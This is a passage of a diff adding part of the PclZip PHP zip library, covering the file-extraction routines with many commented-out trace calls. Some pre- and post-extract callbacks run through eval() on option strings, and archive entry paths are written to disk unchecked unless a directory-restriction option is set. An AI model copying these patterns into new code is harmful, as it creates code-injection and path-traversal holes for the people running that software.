+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extract with no rule (extract all)");
+          $v_extract = true;
+      }
+
+	  // ----- Check compression method
+	  if (   ($v_extract)
+	      && (   ($v_header['compression'] != 8)
+		      && ($v_header['compression'] != 0))) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Unsupported compression method (".$v_header['compression'].")");
+          $v_header['status'] = 'unsupported_compression';
+
+          // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+          if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		      && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "PCLZIP_OPT_STOP_ON_ERROR is selected, extraction will be stopped");
+
+              $this->privSwapBackMagicQuotes();
+              
+              PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_COMPRESSION,
+			                       "Filename '".$v_header['stored_filename']."' is "
+				  	    	  	   ."compressed by an unsupported compression "
+				  	    	  	   ."method (".$v_header['compression'].") ");
+
+              //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+              return PclZip::errorCode();
+		  }
+	  }
+	  
+	  // ----- Check encrypted files
+	  if (($v_extract) && (($v_header['flag'] & 1) == 1)) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Unsupported file encryption");
+          $v_header['status'] = 'unsupported_encryption';
+
+          // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+          if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		      && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "PCLZIP_OPT_STOP_ON_ERROR is selected, extraction will be stopped");
+
+              $this->privSwapBackMagicQuotes();
+
+              PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION,
+			                       "Unsupported encryption for "
+				  	    	  	   ." filename '".$v_header['stored_filename']
+								   ."'");
+
+              //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+              return PclZip::errorCode();
+		  }
+    }
+
+      // ----- Look for real extraction
+      if (($v_extract) && ($v_header['status'] != 'ok')) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "No need for extract");
+          $v_result = $this->privConvertHeader2FileInfo($v_header,
+		                                        $p_file_list[$v_nb_extracted++]);
+          if ($v_result != 1) {
+              $this->privCloseFd();
+              $this->privSwapBackMagicQuotes();
+              //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+              return $v_result;
+          }
+
+          $v_extract = false;
+      }
+      
+      // ----- Look for real extraction
+      if ($v_extract)
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting file '".$v_header['filename']."', index '$i'");
+
+        // ----- Go to the file position
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position before rewind : ".ftell($this->zip_fd)."'");
+        @rewind($this->zip_fd);
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position after rewind : ".ftell($this->zip_fd)."'");
+        if (@fseek($this->zip_fd, $v_header['offset']))
+        {
+          // ----- Close the zip file
+          $this->privCloseFd();
+
+          $this->privSwapBackMagicQuotes();
+
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+          // ----- Return
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+          return PclZip::errorCode();
+        }
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position after fseek : ".ftell($this->zip_fd)."'");
+
+        // ----- Look for extraction as string
+        if ($p_options[PCLZIP_OPT_EXTRACT_AS_STRING]) {
+
+          // ----- Extracting the file
+          $v_result1 = $this->privExtractFileAsString($v_header, $v_string);
+          if ($v_result1 < 1) {
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result1);
+            return $v_result1;
+          }
+
+          // ----- Get the only interesting attributes
+          if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted])) != 1)
+          {
+            // ----- Close the zip file
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+            return $v_result;
+          }
+
+          // ----- Set the file content
+          $p_file_list[$v_nb_extracted]['content'] = $v_string;
+
+          // ----- Next extracted file
+          $v_nb_extracted++;
+          
+          // ----- Look for user callback abort
+          if ($v_result1 == 2) {
+          	break;
+          }
+        }
+        // ----- Look for extraction in standard output
+        elseif (   (isset($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT]))
+		        && ($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) {
+          // ----- Extracting the file in standard output
+          $v_result1 = $this->privExtractFileInOutput($v_header, $p_options);
+          if ($v_result1 < 1) {
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result1);
+            return $v_result1;
+          }
+
+          // ----- Get the only interesting attributes
+          if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) {
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+            return $v_result;
+          }
+
+          // ----- Look for user callback abort
+          if ($v_result1 == 2) {
+          	break;
+          }
+        }
+        // ----- Look for normal extraction
+        else {
+          // ----- Extracting the file
+          $v_result1 = $this->privExtractFile($v_header,
+		                                      $p_path, $p_remove_path,
+											  $p_remove_all_path,
+											  $p_options);
+          if ($v_result1 < 1) {
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result1);
+            return $v_result1;
+          }
+
+          // ----- Get the only interesting attributes
+          if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1)
+          {
+            // ----- Close the zip file
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+            return $v_result;
+          }
+
+          // ----- Look for user callback abort
+          if ($v_result1 == 2) {
+          	break;
+          }
+        }
+      }
+    }
+
+    // ----- Close the zip file
+    $this->privCloseFd();
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privExtractFile()
+  // Description :
+  // Parameters :
+  // Return Values :
+  //
+  // 1 : ... ?
+  // PCLZIP_ERR_USER_ABORTED(2) : User ask for extraction stop in callback
+  // --------------------------------------------------------------------------------
+  function privExtractFile(&$p_entry, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::privExtractFile', "path='$p_path', remove_path='$p_remove_path', remove_all_path='".($p_remove_all_path?'true':'false')."'");
+    $v_result=1;
+
+    // ----- Read the file header
+    if (($v_result = $this->privReadFileHeader($v_header)) != 1)
+    {
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Found file '".$v_header['filename']."', size '".$v_header['size']."'");
+
+    // ----- Check that the file header is coherent with $p_entry info
+    if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
+        // TBC
+    }
+
+    // ----- Look for all path to remove
+    if ($p_remove_all_path == true) {
+        // ----- Look for folder entry that not need to be extracted
+        if (($p_entry['external']&0x00000010)==0x00000010) {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "The entry is a folder : need to be filtered");
+
+            $p_entry['status'] = "filtered";
+
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+            return $v_result;
+        }
+
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "All path is removed");
+        // ----- Get the basename of the path
+        $p_entry['filename'] = basename($p_entry['filename']);
+    }
+
+    // ----- Look for path to remove
+    else if ($p_remove_path != "")
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Look for some path to remove");
+      if (PclZipUtilPathInclusion($p_remove_path, $p_entry['filename']) == 2)
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "The folder is the same as the removed path '".$p_entry['filename']."'");
+
+        // ----- Change the file status
+        $p_entry['status'] = "filtered";
+
+        // ----- Return
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+        return $v_result;
+      }
+
+      $p_remove_path_size = strlen($p_remove_path);
+      if (substr($p_entry['filename'], 0, $p_remove_path_size) == $p_remove_path)
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Found path '$p_remove_path' to remove in file '".$p_entry['filename']."'");
+
+        // ----- Remove the path
+        $p_entry['filename'] = substr($p_entry['filename'], $p_remove_path_size);
+
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Resulting file is '".$p_entry['filename']."'");
+      }
+    }
+
+    // ----- Add the path
+    if ($p_path != '') {
+      $p_entry['filename'] = $p_path."/".$p_entry['filename'];
+    }
+    
+    // ----- Check a base_dir_restriction
+    if (isset($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION])) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Check the extract directory restriction");
+      $v_inclusion
+      = PclZipUtilPathInclusion($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION],
+                                $p_entry['filename']); 
+      if ($v_inclusion == 0) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "PCLZIP_OPT_EXTRACT_DIR_RESTRICTION is selected, file is outside restriction");
+
+        PclZip::privErrorLog(PCLZIP_ERR_DIRECTORY_RESTRICTION,
+			                     "Filename '".$p_entry['filename']."' is "
+								 ."outside PCLZIP_OPT_EXTRACT_DIR_RESTRICTION");
+
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+        return PclZip::errorCode();
+      }
+    }
+
+    // ----- Look for pre-extract callback
+    if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "A pre-callback '".$p_options[PCLZIP_CB_PRE_EXTRACT]."()') is defined for the extraction");
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      eval('$v_result = '.$p_options[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);');
+      if ($v_result == 0) {
+        // ----- Change the file status
+        $p_entry['status'] = "skipped";
+        $v_result = 1;
+      }
+      
+      // ----- Look for abort result
+      if ($v_result == 2) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "User callback abort the extraction");
+        // ----- This status is internal and will be changed in 'skipped'
+        $p_entry['status'] = "aborted";
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+
+      // ----- Update the informations
+      // Only some fields can be modified
+      $p_entry['filename'] = $v_local_header['filename'];
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "New filename is '".$p_entry['filename']."'");
+    }
+
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting file (with path) '".$p_entry['filename']."', size '$v_header[size]'");
+
+    // ----- Look if extraction should be done
+    if ($p_entry['status'] == 'ok') {
+
+    // ----- Look for specific actions while the file exist
+    if (file_exists($p_entry['filename']))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File '".$p_entry['filename']."' already exists");
+
+      // ----- Look if file is a directory
+      if (is_dir($p_entry['filename']))
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Existing file '".$p_entry['filename']."' is a directory");
+
+        // ----- Change the file status
+        $p_entry['status'] = "already_a_directory";
+        
+        // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+        // For historical reason first PclZip implementation does not stop
+        // when this kind of error occurs.
+        if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		    && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "PCLZIP_OPT_STOP_ON_ERROR is selected, extraction will be stopped");
+
+            PclZip::privErrorLog(PCLZIP_ERR_ALREADY_A_DIRECTORY,
+			                     "Filename '".$p_entry['filename']."' is "
+								 ."already used by an existing directory");
+
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+		}
+      }
+      // ----- Look if file is write protected
+      else if (!is_writeable($p_entry['filename']))
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Existing file '".$p_entry['filename']."' is write protected");
+
+        // ----- Change the file status
+        $p_entry['status'] = "write_protected";
+
+        // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+        // For historical reason first PclZip implementation does not stop
+        // when this kind of error occurs.
+        if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		    && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "PCLZIP_OPT_STOP_ON_ERROR is selected, extraction will be stopped");
+
+            PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
+			                     "Filename '".$p_entry['filename']."' exists "
+								 ."and is write protected");
+
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+		}
+      }
+
+      // ----- Look if the extracted file is older
+      else if (filemtime($p_entry['filename']) > $p_entry['mtime'])
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Existing file '".$p_entry['filename']."' is newer (".date("l dS of F Y h:i:s A", filemtime($p_entry['filename'])).") than the extracted file (".date("l dS of F Y h:i:s A", $p_entry['mtime']).")");
+        // ----- Change the file status
+        if (   (isset($p_options[PCLZIP_OPT_REPLACE_NEWER]))
+		    && ($p_options[PCLZIP_OPT_REPLACE_NEWER]===true)) {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "PCLZIP_OPT_REPLACE_NEWER is selected, file will be replaced");
+		}
+		else {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File will not be replaced");
+            $p_entry['status'] = "newer_exist";
+
+            // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+            // For historical reason first PclZip implementation does not stop
+            // when this kind of error occurs.
+            if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		        && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+                //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "PCLZIP_OPT_STOP_ON_ERROR is selected, extraction will be stopped");
+
+                PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
+			             "Newer version of '".$p_entry['filename']."' exists "
+					    ."and option PCLZIP_OPT_REPLACE_NEWER is not selected");
+
+                //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+                return PclZip::errorCode();
+		    }
+		}
+      }
+      else {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Existing file '".$p_entry['filename']."' is older than the extrated one - will be replaced by the extracted one (".date("l dS of F Y h:i:s A", filemtime($p_entry['filename'])).") than the extracted file (".date("l dS of F Y h:i:s A", $p_entry['mtime']).")");
+      }
+    }
+
+    // ----- Check the directory availability and create it if necessary
+    else {
+      if ((($p_entry['external']&0x00000010)==0x00000010) || (substr($p_entry['filename'], -1) == '/'))
+        $v_dir_to_check = $p_entry['filename'];
+      else if (!strstr($p_entry['filename'], "/"))
+        $v_dir_to_check = "";
+      else
+        $v_dir_to_check = dirname($p_entry['filename']);
+
+      if (($v_result = $this->privDirCheck($v_dir_to_check, (($p_entry['external']&0x00000010)==0x00000010))) != 1) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Unable to create path for '".$p_entry['filename']."'");
+
+        // ----- Change the file status
+        $p_entry['status'] = "path_creation_fail";
+
+        // ----- Return
+        ////--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+        //return $v_result;
+        $v_result = 1;
+      }
+    }
+    }
+
+    // ----- Look if extraction should be done
+    if ($p_entry['status'] == 'ok') {
+
+      // ----- Do the extraction (if not a folder)
+      if (!(($p_entry['external']&0x00000010)==0x00000010))
+      {
+        // ----- Look for not compressed file
+        if ($p_entry['compression'] == 0) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting an un-compressed file");
+
+		  // ----- Opening destination file
+          if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0)
+          {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Error while opening '".$p_entry['filename']."' in write binary mode");
+
+            // ----- Change the file status
+            $p_entry['status'] = "write_error";
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+            return $v_result;
+          }
+
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Read '".$p_entry['size']."' bytes");
+
+          // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
+          $v_size = $p_entry['compressed_size'];
+          while ($v_size != 0)
+          {
+            $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Read $v_read_size bytes");
+            $v_buffer = @fread($this->zip_fd, $v_read_size);
+            /* Try to speed up the code
+            $v_binary_data = pack('a'.$v_read_size, $v_buffer);
+            @fwrite($v_dest_file, $v_binary_data, $v_read_size);
+            */
+            @fwrite($v_dest_file, $v_buffer, $v_read_size);            
+            $v_size -= $v_read_size;
+          }
+
+          // ----- Closing the destination file
+          fclose($v_dest_file);
+
+          // ----- Change the file mtime
+          touch($p_entry['filename'], $p_entry['mtime']);
+          
+
+        }
+        else {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting a compressed file (Compression method ".$p_entry['compression'].")");
+          // ----- TBC
+          // Need to be finished
+          if (($p_entry['flag'] & 1) == 1) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File is encrypted");
+            /*
+              // ----- Read the encryption header
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Read 12 encryption header bytes");
+              $v_encryption_header = @fread($this->zip_fd, 12);
+              
+              // ----- Read the encrypted & compressed file in a buffer
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Read '".($p_entry['compressed_size']-12)."' compressed & encrypted bytes");
+              $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']-12);
+              
+              // ----- Decrypt the buffer
+              $this->privDecrypt($v_encryption_header, $v_buffer,
+			                     $p_entry['compressed_size']-12, $p_entry['crc']);
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Buffer is '".$v_buffer."'");
+              */
+          }
+          else {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Read '".$p_entry['compressed_size']."' compressed bytes");
+              // ----- Read the compressed file in a buffer (one shot)
+              $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
+          }
+          
+          // ----- Decompress the file
+          $v_file_content = @gzinflate($v_buffer);
+          unset($v_buffer);
+          if ($v_file_content === FALSE) {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Unable to inflate compressed file");
+
+            // ----- Change the file status
+            // TBC
+            $p_entry['status'] = "error";
+            
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+            return $v_result;
+          }
+          
+          // ----- Opening destination file
+          if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Error while opening '".$p_entry['filename']."' in write binary mode");
+
+            // ----- Change the file status
+            $p_entry['status'] = "write_error";
+
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+            return $v_result;
+          }
+
+          // ----- Write the uncompressed data
+          @fwrite($v_dest_file, $v_file_content, $p_entry['size']);
+          unset($v_file_content);
+
+          // ----- Closing the destination file
+          @fclose($v_dest_file);
+
+          // ----- Change the file mtime
+          @touch($p_entry['filename'], $p_entry['mtime']);
+        }
+
+        // ----- Look for chmod option
+        if (isset($p_options[PCLZIP_OPT_SET_CHMOD])) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "chmod option activated '".$p_options[PCLZIP_OPT_SET_CHMOD]."'");
+
+          // ----- Change the mode of the file
+          @chmod($p_entry['filename'], $p_options[PCLZIP_OPT_SET_CHMOD]);
+        }
+
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extraction done");
+      }
+    }
+
+	// ----- Change abort status
+	if ($p_entry['status'] == "aborted") {
+      $p_entry['status'] = "skipped";
+	}
+	
+    // ----- Look for post-extract callback
+    elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "A post-callback '".$p_options[PCLZIP_CB_POST_EXTRACT]."()') is defined for the extraction");
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      eval('$v_result = '.$p_options[PCLZIP_CB_POST_EXTRACT].'(PCLZIP_CB_POST_EXTRACT, $v_local_header);');
+
+      // ----- Look for abort result
+      if ($v_result == 2) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "User callback abort the extraction");
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privExtractFileInOutput()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privExtractFileInOutput(&$p_entry, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::privExtractFileInOutput', "");
+    $v_result=1;
+
+    // ----- Read the file header
+    if (($v_result = $this->privReadFileHeader($v_header)) != 1) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Found file '".$v_header['filename']."', size '".$v_header['size']."'");
+
+    // ----- Check that the file header is coherent with $p_entry info
+    if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
+        // TBC
+    }
+
+    // ----- Look for pre-extract callback
+    if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "A pre-callback '".$p_options[PCLZIP_CB_PRE_EXTRACT]."()') is defined for the extraction");
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      eval('$v_result = '.$p_options[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);');
+      if ($v_result == 0) {
+        // ----- Change the file status
+        $p_entry['status'] = "skipped";
+        $v_result = 1;
+      }
+
+      // ----- Look for abort result
+      if ($v_result == 2) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "User callback abort the extraction");
+        // ----- This status is internal and will be changed in 'skipped'
+        $p_entry['status'] = "aborted";
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+
+      // ----- Update the informations
+      // Only some fields can be modified
+      $p_entry['filename'] = $v_local_header['filename'];
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "New filename is '".$p_entry['filename']."'");
+    }
+
+    // ----- Trace
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting file (with path) '".$p_entry['filename']."', size '$v_header[size]'");
+
+    // ----- Look if extraction should be done
+    if ($p_entry['status'] == 'ok') {
+
+      // ----- Do the extraction (if not a folder)
+      if (!(($p_entry['external']&0x00000010)==0x00000010)) {
+        // ----- Look for not compressed file
+        if ($p_entry['compressed_size'] == $p_entry['size']) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting an un-compressed file");
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Reading '".$p_entry['size']."' bytes");
+
+          // ----- Read the file in a buffer (one shot)
+          $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
+
+          // ----- Send the file to the output
+          echo $v_buffer;
+          unset($v_buffer);
+        }
+        else {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting a compressed file");
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Reading '".$p_entry['size']."' bytes");
+
+          // ----- Read the compressed file in a buffer (one shot)
+          $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
+          
+          // ----- Decompress the file
+          $v_file_content = gzinflate($v_buffer);
+          unset($v_buffer);
+
+          // ----- Send the file to the output
+          echo $v_file_content;
+          unset($v_file_content);
+        }
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extraction done");
+      }
+    }
+
+	// ----- Change abort status
+	if ($p_entry['status'] == "aborted") {
+      $p_entry['status'] = "skipped";
+	}
+
+    // ----- Look for post-extract callback
+    elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "A post-callback '".$p_options[PCLZIP_CB_POST_EXTRACT]."()') is defined for the extraction");
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      eval('$v_result = '.$p_options[PCLZIP_CB_POST_EXTRACT].'(PCLZIP_CB_POST_EXTRACT, $v_local_header);');
+
+      // ----- Look for abort result
+      if ($v_result == 2) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "User callback abort the extraction");
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+    }
+
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privExtractFileAsString()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privExtractFileAsString(&$p_entry, &$p_string)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::privExtractFileAsString', "p_entry['filename']='".$p_entry['filename']."'");
+    $v_result=1;
+
+    // ----- Read the file header
+    $v_header = array();
+    if (($v_result = $this->privReadFileHeader($v_header)) != 1)
+    {
+      // ----- Return
